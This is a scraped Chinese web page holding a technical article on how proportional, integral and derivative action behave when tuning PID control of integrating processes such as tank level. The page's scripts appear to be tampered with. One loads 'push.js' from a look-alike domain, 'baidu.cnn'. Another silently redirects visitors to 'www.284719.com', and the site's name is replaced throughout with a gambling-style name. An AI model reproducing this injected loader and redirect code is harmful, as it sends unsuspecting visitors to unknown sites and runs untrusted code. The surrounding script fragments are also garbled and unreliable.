else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com'); 一文详解:PID控制中的P、I、D都应怎么调?_PID控制,液位控制_九五至尊网站 )(); var sAdClassIDs=""; sAdClassIDs="ybzhan;,3998,5219,3978,6832,6834,6859,20972,20976,21072";

九五至尊网站

快速发布求购 登录 注册
行业资讯行业财报市场标准研发新品会议盘点政策本站速递
var searchUrl = "/news/t0/list_p0.html"; var searchtype = 1; function go(){ var keys = document.getElementById("keys").value; keys = keys.replace(/(^[^\S]+)|([^\S]+$)/g,""); keys= keys.replace(/\+/g,"%2b");//替换'+'号,如果不处理‘+’号会被替换成空 add by 李晨 2010-05-31 var f = document.getElementById("searchForms"); f.target = "_blank"; if(keys=="" || keys=="请输入您要查找的关键词"){ alert("请输入您要搜索的内容!"); return false; f.action=searchUrl; f.submit(); function ClearFont(){ if(document.getElementById("keys").value=='请输入您要查找的关键词') document.getElementById("keys").value=''; jtips.initialize(jQuery('#keys'), 'Keyword', 'Record', GetData, UserSelected, function (employe) { if (employe == null) { jQuery("#keys").val(""); else if(employe == ""){ jQuery("#searchbtn").click(); else { jQuery("#keys").val(employe.Keyword); jQuery("#searchbtn").click(); ); function UserSelected(employe) { jQuery("#keys").val(employe.Keyword); function GetData(value, displayData) { Vivian.GetSearchResult(10, value, function (objs) { displayData(objs.value); ); function keyPressSearch(item, propertyName) { if (searchtype == 1) { jtips.getKeyWord(item, propertyName)
  • catch (e) { imageUrl = ""; //假如图片为空获取网页中的第一张图片地址作为分享图 if (imageUrl == "") { try { imageUrl = document.images[0].src; catch (e) { imageUrl = ""; //获取当前网页url url = document.location.href; url = url.replace("html#", "html"); try { //获取网页描述 description = document.querySelector('meta[name="description"]').getAttribute('content'); catch (e) { description = ""; try { //获取网页关键字 keywords = document.querySelector('meta[name="keywords"]').getAttribute('content'); catch (e) { keywords = ""; //qq空间接口的传参 if (types == 'qzone') { window.open('https://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=' + url + '&title=' + title + '&pics=' + imageUrl + '&summary=' + description); //新浪微博接口的传参 if (types == 'weibo') { window.open('http://service.weibo.com/share/share.php?appkey=583395093&url=' + url + '&title=' + title + '&pic=' + imageUrl); // //qq好友接口的传参 // if (types == 'qqim') { // window.open('http://connect.qq.com/widget/shareqq/index.html?url=' + url + '&title=' + title + '&pics=' + imageUrl + '&summary=' + description + '&desc=' + keywords); // //生成二维码给微信扫描分享 if (types == 'weixin' || types == 'qqim') { //在线二维码(服务器性能限制,仅测试使用,屏蔽非大陆ip访问) url = url.replace(/-/g, "%2D"); window.open('https://www.a-bm.cn/share.aspx?types=' + types + '&url=' + url);
  • var oldjQuery =jQuery; var Old$ = $; $Version = jQuery; jQuery = oldjQuery; $ = Old$;
  • 0

一文详解:PID控制中的P、I、D都应怎么调?

行业科普 2025年12月24日 09:00:56来源:控制工程网 18691
摘要如同分析自整定过程一样,我们将从控制器比例、积分、微分各自对积分过程的影响入手,并借鉴自整定过程的分析方法,探索如何将三者结合以实现有效的控制器设计。

  【仪表网 行业科普】使用PID控制器对积分过程进行控制,首先要了解控制器比例(P)、积分(I)和微分(D)在控制积分过程中所起的作用。对积分过程进行PID控制,与自整定过程控制存在一定的相似之处,但在一些重要方面却有很大差异。
 
  如何调节PID控制器,取决于过程响应的类型。换言之,一旦将PID控制器与某一过程匹配,这对组合的行为方式便具有该(类)过程的特性。此外,PID/积分过程的表现方式以及相应的整定方法,与PID/自整定过程是不同的。关注点不同,规则也不同。
 
  如同分析自整定过程一样,我们将从控制器比例、积分、微分各自对积分过程的影响入手,并借鉴自整定过程的分析方法,探索如何将三者结合以实现有效的控制器设计。
 
  比例与积分过程的相互作用
 
  这里有几件事情需要讨论,首先是积分过程的过程比例定义(见图 1)。在自整定过程中,过程比例(Kp)被定义为过程变量(PV)的变化量与控制器输出(OP)的变化量之比,用ΔPV/ΔOP来表示。但如果你改变连接到积分过程的控制器输出,假以时日,过程变量(PV)最终会趋向正无穷大(或负无穷大)。因此,自整定过程中关于过程比例的定义对于积分过程来说是没有用的,因为结果总是 “无穷大”。
 
▲图1:仅采用比例(P)控制(控制器增益K=1.0)时,积分过程的响应情况。
 
  我们真正需要知道的是,当我们改变控制器输出时,过程变量(PV)的变化量会是多少呢?这被定义为Kp= (ΔPV/分钟)/ΔOP{(%/分钟)/% 。为了简便起见,通常把积分过程的过程比例表示为 %/分钟,要清楚这是指控制器输出每变化1%时的情况(注意,干扰也用控制器输出变化的百分比来表示)。
 
  当我们观察在5分钟时间点控制器设定值(SP)的变化情况,就会注意到过程变量无需积分作用,就能达到设定值。这与自整定过程截然不同,在自整定过程中,需要积分作用才能将过程变量驱动到设定值。这是怎么回事呢?
 
  像液位这样的物料(或能量)平衡过程,会维持一个库存量,只要输入和输出流量速率相匹配,该库存量就不会改变。设定值的变化并不会改变不受控制的流量(输入或输出),它仅仅是一个改变库存量的指令。在这种情况下,控制器通过减少输出流量来实现这一点,直到库存量与设定值匹配为止。此时,当误差降为零时,比例作用也降为零,并且控制器输出会回到起始状态,此时物料平衡得以恢复。
 
  对积分过程的整定策略
 
  之所以强调这个看似微不足道的点,是因为它会显著影响如何看待对积分过程的整定(更重要的是,你必须忘掉控制器比例在自整定过程中是如何起作用的)。有一点需要注意,当你对积分过程的设定值进行调整时,积分作用实际上会适得其反。
 
  在30分钟时间点入口流量增加了10%(相当于控制器输出的变化量)。为了匹配入口流量的变化,控制器输出必须增加10%。只有当过程变量与设定值之间的误差乘以控制器增益,等于入口流量的变化量时,才会出现这种情况,即{ΔOP=Δ入口流量=(PV–SP)*K 。就像自整定过程一样,对积分过程的干扰会导致过程变量与设定值之间产生永久性偏差,除非使用积分作用。最后,在60分钟时,设定值再次被更改。过程变量与设定值的变化保持同步,维持着30分钟时点入口流量变化所导致的恒定偏差。
 
  从积分过程仅采用比例的控制中,我们了解到的是:
 
  ■ 过程变量将跟随设定值的变化,而无需积分作用。实际上,积分作用很可能会适得其反。
 
  ■ 干扰会导致过程变量与设定值之间产生持续的偏差。需要积分作用来消除这种偏差。
 
  这给我们带来了一些在自整定过程中不会遇到的问题。
 
  其一,如果必须在针对设定值变化的调节和抗干扰调节之间取得平衡,那么就面临一个平衡问题:我们可以加入多少积分作用来消除干扰,同时又不影响对设定值变化的响应呢?幸运的是,在积分过程中我们几乎从不更改设定值(至少在炼油厂是这样),所以这通常不是一个问题。
 
  第二个问题是,我们不能通过更改设定值来测试控制器如何调节来应对干扰(见图 2)。
 
▲图2:仅采用比例控制(控制器比例K=2.0)时,积分过程的响应情况。
 
  和图1一样,在图2中的30分钟时点,输入流量也变化了10%。经过初始振荡后,控制器输出变化10%,以匹配输入的变化。较高的控制器增益可以减小过程变量与设定值之间的偏差,然而,它无法也不能消除这种偏差。该表现与自整定过程的表现相同;提高控制器比例,会减小过程变量与设定值之间的偏差,但存在增加控制器振荡的风险(见图3)。
 
▲图3:仅采用比例控制(控制器比例K=3.65)时,积分过程的响应情况。
 
  图3表明,与自整定过程类似,如果控制器比例过高,控制器就会变得不稳定。此外,过程变量和控制器输出的峰值会接近,在启发式控制器整定过程中,这是可利用的一个关键视觉线索。
 
  积分与积分过程的相互作用
 
  图4表明,仅采用积分控制对积分过程是行不通的。积分过程的一个特点是,无论积分调节常数(Ti)设置得多么小,仅靠积分控制总是不稳定的。在积分过程中,一个常见的调节问题是,相对于积分调节常数而言,控制器比例不足,这会导致过程持续缓慢地变化。(图4使用并行PID算法,以展示在没有控制器比例时,积分作用是如何不起作用的。)
 
  ▲图4:仅采用积分(I)控制(积分Ti=0.05 次/分钟,并行PID算法)时,积分过程的响应情况。
 
  与自整定过程类似,当积分作用过强(相对于控制器比例而言)时,过程变量和控制器输出的峰值不会接近。图5展示了在积分过程的积分控制(PI控制)中,加入控制器比例后会发生什么情况。
 
  ▲图5:积分过程的PI控制(K=0.35,Ti=0.05 次/分钟,并行PID算法)。
 
  从图5中我们可以看到,在控制器中加入控制器比例可以使控制器稳定下来,同时保持积分常数为0.05次/分钟(并行PID算法)。在5分钟时点,对设定值变化的响应仍有一点波动;进一步提高控制器比例可以消除这种波动。请注意,在5到12分钟之间,积分作用使控制器输出恢复到70% 的速度变慢。这会导致过程变量超过了设定值(当存在积分时,在设定值变化后,过程变量总是会超过设定值);随着积分贡献变为零,又过了20分钟过程变量才回到设定值。简而言之,积分的存在阻碍了控制器对设定值变化的响应。
 
  在60分钟时点,对干扰的响应与自整定过程的响应相同。正如预期的那样,控制器比例首先做出响应,随后积分作用试图消除偏差。在经过一些波动后,随着过程变量稳定在设定值上(误差已恢复为零),控制器比例的作用降为零,并且积分作用(以及控制器输出的变化量)与干扰的大小相匹配(10%)。
 
  这说明了积分过程整定中的一个问题;积分对于消除由过程干扰引起的过程变量偏差是必需的,但它会阻碍控制器对设定值变化的响应。幸运的是,在大多数积分过程中,很少更改设定值。
 
  微分与积分过程的相互作用
 
  图6展示了微分是如何抑制过程变量变化的。从30分钟时点开始,入口流量4%的扰动导致过程变量以每分钟2%的速率上升。4分钟的微分常数,使控制器输出产生足够的变化,从而将上升速率降低到每分钟 0.67%。(使用60秒的微分滤波器,是为了使微分响应足够慢,以便你能看到微分的影响。请注意,很少有控制系统允许给微分添加滤波器。)针对过程变量变化的微分作用(这是微分控制的推荐选项),对5分钟时点设定值的变化没有响应。
 
  ▲图6:仅采用微分(D)控制(微分时间Td=4分钟,微分滤波器时间=60秒,并行 PID 算法)时,积分过程的响应情况。
 
  图7展示了增大微分作用是如何影响控制器性能的。微分作用过强会导致控制器振荡。进一步增大微分作用,将导致控制器不稳定。与自整定过程类似,微分作用过强的表现是:由于强微分作用追踪过程变量变化速率的微小变化,导致控制器输出快速波动。请注意,增大微分作用确实进一步降低了过程变量的变化速率。
 
  ▲图7:仅采用微分(D)控制(微分时间Td=12分钟,微分滤波器时间=0秒,并行PID算法)时,积分过程的响应情况。
 
  一般来说,微分从不用于液位控制。微分作用会使入口流量的微小变化导致出口流量产生较大变化,这会扰乱下游的工艺过程。液位控制通常会进行调节,无论入口流量如何变化,都不会导致出口流量出现快速变化,从而抑制任何干扰。这种流量波动管理,需要特别关注控制器的调节,以避免容器溢出或排空,同时还要尽量减少对下游工艺过程流量变化的影响。当然,这一规则也有例外情况,取决于具体的工艺过程和要求。
 
  对积分过程进行PID控制与自整定过程控制的异同
 
  我们已经了解到,积分过程对PID控制的响应在某些方面与自整定过程相似,而在另一些方面则有很大差异。
 
  相似之处包括:
 
  ■ 控制器比例无法消除由过程干扰引起的过程变量与设定值之间的误差。需要积分作用来消除该误差。
 
  ■ 控制器比例过高会导致振荡。控制器比例过高表现为过程变量和控制器输出的峰值会一致。
 
  ■ 积分作用过强会导致振荡。积分作用过强表现为过程变量和控制器输出的峰值不一致。
 
  ■ 微分作用过强会导致振荡。
 
  不同之处在于:
 
  ■ 控制器比例就足以应对设定值的变化。过程变量无需积分作用,就能回到设定值。实际上,积分会导致过程变量超过设定值,并延迟过程变量最终回到设定值所需的时间。
 
  ■ 在积分过程中,仅靠积分总是不稳定的。需要控制器比例来维持稳定控制。看似积分作用过强,实际上可能是控制器比例过小(启发式调节不像仅仅减慢积分作用那么简单)。
 
  ■ 微分通过抑制过程变量的变化,减缓由干扰引起的上升速率。
 
  与自整定过程一样,良好的控制回路整定意味着将控制器比例、积分以及微分(很少情况下用到的)融合在一起,以获得“最佳”的控制器响应。其中一个挑战是“最佳”的定义,因为目标之一是避免对下游工艺过程造成不必要的干扰。我们会发现,积分过程的整定思路既有与自整定过程相似之处,也存在显著差异。

我要评论
文明上网,理性发言。(您还可以输入200个字符)

所有评论仅代表网友意见,与本站立场无关。

版权与免责声明
  • 凡本网注明"来源:九五至尊网站"的所有作品,版权均属于九五至尊网站,未经本网授权不得转载、摘编或利用其它方式使用上述作品。已经本网授权使用作品的,应在授权范围内使用,并注明"来源:九五至尊网站"。违反上述声明者,本网将追究其相关法律责任。
  • 本网转载并注明自其它来源的作品,目的在于传递更多信息,并不代表本网赞同其观点或证实其内容的真实性,不承担此类作品侵权行为的直接责任及连带责任。其他媒体、网站或个人从本网转载时,必须保留本网注明的作品来源,并自负版权等法律责任。
  • 如涉及作品内容、版权等问题,请在作品发表之日起一周内与本网联系,否则视为放弃相关权利。
  • 合作、投稿、转载授权等相关事宜,请联系本网。联系电话:0571-87759945,QQ:1103027433。
广告招商
今日换一换
)
新发产品更多+

客服热线:0571-87759942

采购热线:0571-87759942

媒体合作:0571-87759945

  • 仪表站APP
  • 微信公众号
  • 九五至尊网站小程序
  • 九五至尊网站九五至尊网站号
@ 2026 九五至尊网站 ybzhan.cn    All Rights Reserved   法律顾问:浙江天册律师事务所 贾熙明律师   九五至尊网站-仪器仪表行业“互联网+”服务平台
意见反馈
我知道了
) function add @ 2026 九五至尊网站() { var Original = "文章链接:九五至尊网站 " + location.href; //修改你的网站名称 if ("function" == typeof window.getSelection) { var c = window.getSelection(); if ("Microsoft Internet Explorer" == navigator.appName && navigator.appVersion.match(/MSIE ([\d.]+)/)[1] >= 10 || "Opera" == navigator.appName) { var g = c.getRangeAt(0), h = document.createElement("span"); h.appendChild(g.cloneContents()), g.insertNode(h); var i = h.innerHTML.replace(/(?:\n|\r\n|\r)/gi, "").replace(/<\s*script[^>]*>[\s\S]*?<\/script>/gim, "").replace(/<\s*style[^>]*>[\s\S]*?<\/style>/gim, "").replace(//gim, "").replace(//gi, ""); try { document.getElementsByTagName("body")[0].removeChild(h) catch(f) { h.style.display = "none", h.innerHTML = "" else var d = "" + c; var e = document.getElementsByTagName("body")[0], f = document.createElement("div"); f.style.position = "absolute", f.style.left = "-99999px", e.appendChild(f), f.innerHTML = d.replace(/([^>\r\n]?)(\r\n|\n\r|\r|\n)/g, "$1
$2") + "
" + Original, c.selectAllChildren(f), setTimeout(function() { e.removeChild(f) , 0) else if ("object" == typeof document.selection.createRange) { event.returnValue = !1; var c = document.selection.createRange().text; window.clipboardData.setData("Text", c + "\n" + Original) ; document.body.oncopy = add @ 2026 九五至尊网站; var regex = /(.*\:\/\/[^\/]*).*/; var match = url.match(regex); if (typeof match != "undefined" && null != match) { host = match[1]; return "" + host + ""; function UpdateVoteDetailNum(voteID) { var CheckType = "$VoteCheckType"; var ids = ""; var voteNum = $VoteNum; if (CheckType == "0") { if (jq("input:radio[name=votelist][checked]").length == 0) { alert("请选择投票!"); return false; ids = jq("input:radio[name=votelist][checked]").val(); addNum = 1; else { jq("input:checkbox[name=votelist]").each(function () { if (jq(this).attr('checked') == true) ids += jq(this).val() + ","; ); if (ids != "") ids = ids.substring(0, ids.length - 1); else { alert("请选择投票!"); return false; var obj2 = Vivian.UpdateVoteDetailNum(voteID, ids).value; var obj = Vivian.ReListVote($ObjectID).value; var jsonobj = eval("data=" + obj); for (var i = 0; i < jsonobj.Detail.length; i++) { jq("#voteItemA" + jsonobj.Detail[i].ID).html("
"); jq("#voteItemB" + jsonobj.Detail[i].ID).html(jsonobj.Detail[i].Percentage); jq("#voteItemC" + jsonobj.Detail[i].ID).html("

" + jsonobj.Detail[i].Num + "

"); if (obj2 == "1") { jq("#showInfo").show(); voteNum = voteNum + ids.split(',').length; jq("#voteNum").html(voteNum); jq("#buttonVote").html("您已投票"); jq("#buttonVote").attr("className", "allvote"); document.write("")